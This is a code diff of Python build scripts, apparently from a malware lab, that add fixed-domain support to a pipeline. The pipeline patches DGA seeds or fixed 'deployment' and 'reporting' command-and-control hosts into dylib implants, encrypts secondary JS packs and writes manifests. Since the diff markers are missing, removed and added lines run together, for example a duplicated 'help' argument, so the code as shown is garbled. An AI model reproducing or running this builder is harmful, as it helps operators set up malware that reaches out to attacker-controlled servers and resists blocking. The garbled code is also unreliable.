help="write into --root web/ + sync/",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print per pool (default 5)",
help="DGA candidates to print when not using fixed domains (default 5)",
)
args = parser.parse_args()
if args.apply and not args.root:
raise SystemExit("--apply requires --root <project-dir>")
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.apply and args.root:
ensure_working_tree(args.root.resolve())
fixed_mode = bool(args.deployment_domains)
dep = args.deployment_seed or gen_seed()
rep = args.reporting_seed or gen_seed()
if dep == rep:
# avoid accidental identical pools
while rep == dep:
rep = gen_seed()
@@ -76,6 +117,7 @@ def main() -> int:
{
"deployment_seed": dep,
"reporting_seed": rep,
"mode": "fixed_domains" if fixed_mode else "dga",
},
indent=2,
)
@@ -83,6 +125,7 @@ def main() -> int:
)
print("=== seeds ===")
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
print(f"deployment: {dep}")
print(f"reporting: {rep}")
print(f"saved: {seeds_path}")
@@ -93,6 +136,12 @@ def main() -> int:
py = sys.executable
apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else []
domain_args: list[str] = []
if fixed_mode:
for item in args.deployment_domains:
domain_args += ["--deployment-domains", item]
for item in args.reporting_domains:
domain_args += ["--reporting-domains", item]
print("=== 1/3 patch_secondary_packs ===")
run(
@@ -103,6 +152,7 @@ def main() -> int:
dep,
"--reporting-seed",
rep,
*domain_args,
*root,
*apply,
]
@@ -118,33 +168,49 @@ def main() -> int:
dep,
"--reporting-seed",
rep,
*domain_args,
*root,
*apply,
]
)
print()
print("=== 3/3 compute_dga_domains ===")
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(LAB_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
domains_path = out_root / "domains.json"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
if fixed_mode:
# Prefer MANIFEST from patch_core output
manifest_path = out_root / "sync" / "MANIFEST.json"
if not manifest_path.is_file():
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
manifest = json.loads(manifest_path.read_text())
domains = {
"mode": "fixed_domains",
"deployment": {"seed": dep, "domains": manifest["deployment_domains"]},
"reporting": {"seed": rep, "domains": manifest["reporting_domains"]},
}
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
print("=== 3/3 fixed domains ===")
else:
print("=== 3/3 compute_dga_domains ===")
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(LAB_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
domains["mode"] = "dga"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
print()
print("=== final domains ===")
+39 -2
View File
@@ -23,6 +23,7 @@ from _common import (
tree_root,
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
import _common
import sys
@@ -93,6 +94,18 @@ def main() -> int:
)
parser.add_argument("--deployment-seed", required=True)
parser.add_argument("--reporting-seed", required=True)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
)
parser.add_argument(
"--root",
type=Path,
@@ -111,6 +124,18 @@ def main() -> int:
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
if (fixed_dep is None) ^ (fixed_rep is None):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
@@ -137,6 +162,15 @@ def main() -> int:
expect_rep=2,
label="core/tmp.dylib",
)
if fixed_dep is not None and fixed_rep is not None:
patched = patch_fixed_domains_in_dylib(
patched,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label="core/tmp.dylib",
)
digest = sha256_hex(patched)
size = len(patched)
password = derive_archive_password()
@@ -161,15 +195,18 @@ def main() -> int:
json.dumps(json.loads(config_bytes), indent=2) + "\n"
)
dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"core_sha256": digest,
"core_size": size,
"daily_sha256": sha256_hex(daily_wire),
"erupt_flee_sha256": sha256_hex(erupt_wire),
"deployment_domains": generate_domains(dep, 5),
"reporting_domains": generate_domains(rep, 5),
"deployment_domains": dep_domains,
"reporting_domains": rep_domains,
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
+39 -1
View File
@@ -20,6 +20,7 @@ from _common import (
tree_root,
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
@@ -56,9 +57,33 @@ def main() -> int:
action="store_true",
help="also copy outputs into <root>/web/.../",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
if bool(fixed_dep) != bool(fixed_rep):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
@@ -79,7 +104,7 @@ def main() -> int:
for group, path in GROUP_DYLIBS.items():
if not path.is_file():
raise SystemExit(f"missing source dylib: {path}")
patched[group] = patch_seeds_in_dylib(
data = patch_seeds_in_dylib(
path.read_bytes(),
dep,
rep,
@@ -87,6 +112,16 @@ def main() -> int:
expect_rep=1,
label=path.name,
)
if fixed_dep is not None and fixed_rep is not None:
data = patch_fixed_domains_in_dylib(
data,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
@@ -121,6 +156,9 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
}